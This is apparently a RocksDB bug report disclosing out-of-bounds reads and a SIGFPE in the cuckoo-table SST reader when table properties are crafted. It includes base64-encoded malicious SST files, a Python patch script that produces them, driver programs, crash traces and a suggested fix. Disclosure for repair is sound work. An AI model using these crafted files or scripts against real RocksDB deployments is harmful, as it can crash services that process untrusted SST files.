[BUG] Crash / OOB read and SIGFPE in CuckooTableReader when cuckoo SST table properties are inconsistent with the file
Summary
In RocksDB main (91b96f41cf90cecb12330ccec6bc6b50145abd28) the cuckoo-table
reader takes table_size, bucket_length, cuckoo_block_size and
use_module_hash directly from the SST's user-collected properties block
(table/cuckoo/cuckoo_table_reader.cc ctor), with no validation against the
actual file size. Cuckoo SSTs carry no checksums (the footer is written with
kNoChecksum and blocks are appended raw, see
table/cuckoo/cuckoo_table_builder.cc Finish()), so patching those property
bytes costs nothing. A crafted or corrupted .sst file (no checksums to satisfy) obtains:
- Wild out-of-bounds reads (offsets fully controlled by the crafted file)
- iterator path:
CuckooTableIterator::InitIfNeededwalksnum_buckets = table_size_ + cuckoo_block_size_ - 1buckets, readingSlice(bucket, key_length_)atfile_data_.data() + id * bucket_length_(onlyassert(num_buckets < kInvalidIndex)); - point lookup:
CuckooTableReader::Getreads buckets atbucket_length_ * CuckooHash(...).
- iterator path:
- Division by zero:
CuckooHashcomputesvalue % table_size_whenuse_module_hashis set (table/cuckoo/cuckoo_table_factory.h).
tools/sst_dump auto-selects the cuckoo factory from the file's magic number
and forces mmap reads (table/sst_file_dumper.cc) -- no configuration needed to
reach the crash with a crafted .sst file.
Verified on a Linux build at that commit (all three files are 841 bytes):
# attack A (table_size 2 -> 0x400000) -- sst_dump scan:
AddressSanitizer: SEGV on unknown address (READ)
#5 CuckooTableIterator::InitIfNeeded table/cuckoo/cuckoo_table_reader.cc:296
#7 SstFileDumper::ReadSequential table/sst_file_dumper.cc:556
release build: SIGSEGV (rc=139)
# attack B (table_size -> 0, use_module_hash -> 1) -- SstFileReader::Get:
runtime error: division by zero table/cuckoo/cuckoo_table_factory.h:39
release build: SIGFPE (rc=136)
# control (unmodified SST): sst_dump scan prints both entries, rc=0;
# SstFileReader::Get returns the value, rc=0Root cause
table/cuckoo/cuckoo_table_reader.cc ctor reads geometry
(table_size_, bucket_length_, cuckoo_block_size_, use_module_hash_)
straight from user_props[...] via pointer casts with no consistency check
against file_data_.size(); Get (:157-163) and InitIfNeeded
(:289-303) then trust those values for pointer arithmetic.
Reproduction (end-to-end, self-contained)
Option 1 -- use the prebuilt test files (fastest)
Decode the three base64 blobs below (base64 -d), then:
BUILD_DIR/tools/sst_dump --file=attack1.sst --command=scan
# ASan build: AddressSanitizer: SEGV on unknown address
# #5 CuckooTableIterator::InitIfNeeded cuckoo_table_reader.cc:296
# Release: Segmentation fault (rc=139)
BUILD_DIR/tools/sst_dump --file=ctrl.sst --command=scan
# prints both entries, rc=0For attack B (SIGFPE) use the tiny public-API reader below (sstreader.cc
from Option 2) -- the iterator path does not hit the modulo:
./sstreader attack2.sst
# ASan build: runtime error: division by zero cuckoo_table_factory.h:39
# Release: SIGFPE (rc=136)ctrl.sst (control, 841 bytes):
a2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDF2YWx1ZTAwMDAxa2V5MDAwMDJ2YWx1ZTAwMDAya2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFhABgFcm9ja3NkYi5jb2x1bW4uZmFtaWx5Lmlk/////wcJEwpyZWF0aW5nLmRiLmlkZW50aXR5U1NUIFdyaXRlchEQFHNlc3Npb24uaWRlbnRpdHlWREFPTDVZU1A0MVE2SDhaQ09GNg4HAW9uLnRpbWUACRYIdWNrb28uYnVja2V0LmVtcHR5LmtleWtleTAwMDAwDxABZmlsZS5pc2xhc3RsZXZlbAEPFARoYXNoLmN1Y2tvb2Jsb2Nrc2l6ZQUAAAAUDQFpZGVudGl0eWZpcnN0ABQDBG51bQIAAAAUBAhzaXplAgAAAAAAAAAUCQF1c2Vtb2R1bGUBFwoEcmtleWxlbmd0aAgAAAAPDAh2YWx1ZS5sZW5ndGgKAAAAAAAAAAgJAWRhdGEuc2l6ZWwJCwFlbGV0ZWQua2V5cwAICwFmaWx0ZXIuc2l6ZQAKDgF4ZWQua2V5Lmxlbmd0aAgJDQFvcm1hdC52ZXJzaW9uAAgVAWluZGV4LmtleS5pcy51c2VyLmtleQAOBAFzaXplAA4WAXZhbHVlLmlzLmRlbHRhLmVuY29kZWQACA4BbWVyZ2Uub3BlcmFuZHMACA8BbmV3ZXN0LmtleS50aW1lAAkOAXVtLmRhdGEuYmxvY2tzAQwHAWVudHJpZXMCDA4BZmlsdGVyX2VudHJpZXMADA8BcmFuZ2UtZGVsZXRpb25zAAwOAXVuaWZvcm0uYmxvY2tzAAgPAW9sZGVzdC5rZXkudGltZQAJEwFyaWdpbmFsLmZpbGUubnVtYmVyAQgMAXJhdy5rZXkuc2l6ZRAMCgF2YWx1ZS5zaXplFAgRAXRhaWwuc3RhcnQub2Zmc2V0AAAAAAABAAAAABIDcm9ja3NkYi5wcm9wZXJ0aWVzbIgFAAAAAAEAAAAA9AUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABzePHF0Ilnkg==attack1.sst (table_size patched 2 -> 0x400000):
a2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDF2YWx1ZTAwMDAxa2V5MDAwMDJ2YWx1ZTAwMDAya2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFhABgFcm9ja3NkYi5jb2x1bW4uZmFtaWx5Lmlk/////wcJEwpyZWF0aW5nLmRiLmlkZW50aXR5U1NUIFdyaXRlchEQFHNlc3Npb24uaWRlbnRpdHlWREFPTDVZU1A0MVE2SDhaQ09GNg4HAW9uLnRpbWUACRYIdWNrb28uYnVja2V0LmVtcHR5LmtleWtleTAwMDAwDxABZmlsZS5pc2xhc3RsZXZlbAEPFARoYXNoLmN1Y2tvb2Jsb2Nrc2l6ZQUAAAAUDQFpZGVudGl0eWZpcnN0ABQDBG51bQIAAAAUBAhzaXplAABAAAAAAAAUCQF1c2Vtb2R1bGUBFwoEcmtleWxlbmd0aAgAAAAPDAh2YWx1ZS5sZW5ndGgKAAAAAAAAAAgJAWRhdGEuc2l6ZWwJCwFlbGV0ZWQua2V5cwAICwFmaWx0ZXIuc2l6ZQAKDgF4ZWQua2V5Lmxlbmd0aAgJDQFvcm1hdC52ZXJzaW9uAAgVAWluZGV4LmtleS5pcy51c2VyLmtleQAOBAFzaXplAA4WAXZhbHVlLmlzLmRlbHRhLmVuY29kZWQACA4BbWVyZ2Uub3BlcmFuZHMACA8BbmV3ZXN0LmtleS50aW1lAAkOAXVtLmRhdGEuYmxvY2tzAQwHAWVudHJpZXMCDA4BZmlsdGVyX2VudHJpZXMADA8BcmFuZ2UtZGVsZXRpb25zAAwOAXVuaWZvcm0uYmxvY2tzAAgPAW9sZGVzdC5rZXkudGltZQAJEwFyaWdpbmFsLmZpbGUubnVtYmVyAQgMAXJhdy5rZXkuc2l6ZRAMCgF2YWx1ZS5zaXplFAgRAXRhaWwuc3RhcnQub2Zmc2V0AAAAAAABAAAAABIDcm9ja3NkYi5wcm9wZXJ0aWVzbIgFAAAAAAEAAAAA9AUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABzePHF0Ilnkg==attack2.sst (table_size patched to 0, use_module_hash -> 1):
a2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDF2YWx1ZTAwMDAxa2V5MDAwMDJ2YWx1ZTAwMDAya2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFhABgFcm9ja3NkYi5jb2x1bW4uZmFtaWx5Lmlk/////wcJEwpyZWF0aW5nLmRiLmlkZW50aXR5U1NUIFdyaXRlchEQFHNlc3Npb24uaWRlbnRpdHlWREFPTDVZU1A0MVE2SDhaQ09GNg4HAW9uLnRpbWUACRYIdWNrb28uYnVja2V0LmVtcHR5LmtleWtleTAwMDAwDxABZmlsZS5pc2xhc3RsZXZlbAEPFARoYXNoLmN1Y2tvb2Jsb2Nrc2l6ZQUAAAAUDQFpZGVudGl0eWZpcnN0ABQDBG51bQIAAAAUBAhzaXplAAAAAAAAAAAUCQF1c2Vtb2R1bGUBFwoEcmtleWxlbmd0aAgAAAAPDAh2YWx1ZS5sZW5ndGgKAAAAAAAAAAgJAWRhdGEuc2l6ZWwJCwFlbGV0ZWQua2V5cwAICwFmaWx0ZXIuc2l6ZQAKDgF4ZWQua2V5Lmxlbmd0aAgJDQFvcm1hdC52ZXJzaW9uAAgVAWluZGV4LmtleS5pcy51c2VyLmtleQAOBAFzaXplAA4WAXZhbHVlLmlzLmRlbHRhLmVuY29kZWQACA4BbWVyZ2Uub3BlcmFuZHMACA8BbmV3ZXN0LmtleS50aW1lAAkOAXVtLmRhdGEuYmxvY2tzAQwHAWVudHJpZXMCDA4BZmlsdGVyX2VudHJpZXMADA8BcmFuZ2UtZGVsZXRpb25zAAwOAXVuaWZvcm0uYmxvY2tzAAgPAW9sZGVzdC5rZXkudGltZQAJEwFyaWdpbmFsLmZpbGUubnVtYmVyAQgMAXJhdy5rZXkuc2l6ZRAMCgF2YWx1ZS5zaXplFAgRAXRhaWwuc3RhcnQub2Zmc2V0AAAAAAABAAAAABIDcm9ja3NkYi5wcm9wZXJ0aWVzbIgFAAAAAAEAAAAA9AUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABzePHF0Ilnkg==(No checksum anywhere: the cuckoo SST footer is kNoChecksum, so the patched
bytes load exactly as-is.)
Option 2 -- regenerate from source (for understanding/portability)
- Generate a valid cuckoo SST with the public API
(
SstFileWriter+CuckooTableFactory, two entries):
// gen_cuckoo.cc (RocksDB public API)
#include <cstdio>
#include <string>
#include "rocksdb/sst_file_writer.h"
#include "rocksdb/table.h"
using namespace ROCKSDB_NAMESPACE;
int main() {
std::string path = "ctrl.sst";
(void)remove(path.c_str());
Options options;
options.allow_mmap_reads = true;
options.table_factory.reset(NewCuckooTableFactory(CuckooTableOptions()));
SstFileWriter writer(EnvOptions(), options);
if (!writer.Open(path).ok()) return 1;
if (!writer.Put("key00001", "value00001").ok()) return 1;
if (!writer.Put("key00002", "value00002").ok()) return 1;
ExternalSstFileInfo info;
if (!writer.Finish(&info).ok()) return 1;
printf("wrote %s (%lu entries, %lu bytes)\n", path.c_str(),
(unsigned long)info.num_entries, (unsigned long)info.file_size);
return 0;
}g++ -std=gnu++20 -g -O1 -I. -Iinclude gen_cuckoo.cc -o gen_cuckoo -L BUILD_DIR -lrocksdb -lz -lpthread -ldl
./gen_cuckoo # ~841 bytes, 2 entries- Patch the two property fields (no checksums to fix):
# patch_cuckoo.py
import struct
blob = bytearray(open("ctrl.sst", "rb").read())
def varint(buf, i, shift=0, r=0):
b = buf[i]; i += 1
r |= (b & 0x7f) << shift
return (r, i) if not (b & 0x80) else varint(buf, i, shift + 7, r)
f = blob[-53:]
pos = 1 # skip checksum-type byte (0 = kNoChecksum)
m_off, pos = varint(f, pos); m_size, pos = varint(f, pos) # metaindex
key = b"size"; start = 0; hit = None
while True:
j = blob.find(key, start, m_off) # properties block < metaindex
if j < 0: break
start = j + 1
if j + len(key) + 8 <= len(blob):
v = struct.unpack("<Q", blob[j + len(key):j + len(key) + 8])[0]
if 0 < v < 0x10000:
hit = (j + len(key), v) # last hit = hash-table size
assert hit
voff, old = hit
b1 = bytearray(blob); struct.pack_into("<Q", b1, voff, 0x400000)
open("attack1.sst", "wb").write(bytes(b1)) # table_size -> 4 Mi buckets
b2 = bytearray(blob); struct.pack_into("<Q", b2, voff, 0)
um = blob.find(b"usemodule")
for j in range(um + len(b"usemodule"), um + len(b"usemodule") + 4):
if blob[j] in (0, 1): b2[j] = 1; break
open("attack2.sst", "wb").write(bytes(b2)) # table_size=0, usemodule=1
print("wrote attack1.sst / attack2.sst (old table_size %d)" % old)- Reproduce as in Option 1.
Point-lookup driver (public API, for attack B and the SstFileReader::Get
path of attack A):
// sstreader.cc (RocksDB public API)
#include <cstdio>
#include "rocksdb/sst_file_reader.h"
#include "rocksdb/table.h"
using namespace ROCKSDB_NAMESPACE;
int main(int argc, char** argv) {
Options options;
options.allow_mmap_reads = true;
options.table_factory.reset(NewCuckooTableFactory(CuckooTableOptions()));
SstFileReader reader(options);
if (!reader.Open(argv[1]).ok()) return 1;
std::string v;
reader.Get(ReadOptions(), "key00001", &v);
printf("got %s\n", v.c_str());
return 0;
}Impact
sst_dump --file=<crafted>.sst --command=scan is a standard triage entry
point that RocksDB tooling/automation runs on any SST; the same file crashes
application read paths (SstFileReader::Get, DB reads with a cuckoo table
factory). Effects are wild-offset out-of-bounds reads and a SIGFPE -- i.e. a
crash on any system that opens a corrupted or crafted SST (backups,
replication, tooling), with read offsets that can be pushed far past the
mapped file.
Suggested fix
Validate at reader construction that table_size_ * bucket_length_ is
consistent with file_data_.size(), that cuckoo_block_size_ > 0 is bounded,
that table_size_ != 0 when use_module_hash is set, and reject bucket
offsets past the mapped file in both Get and InitIfNeeded.
Source: facebook/rocksdb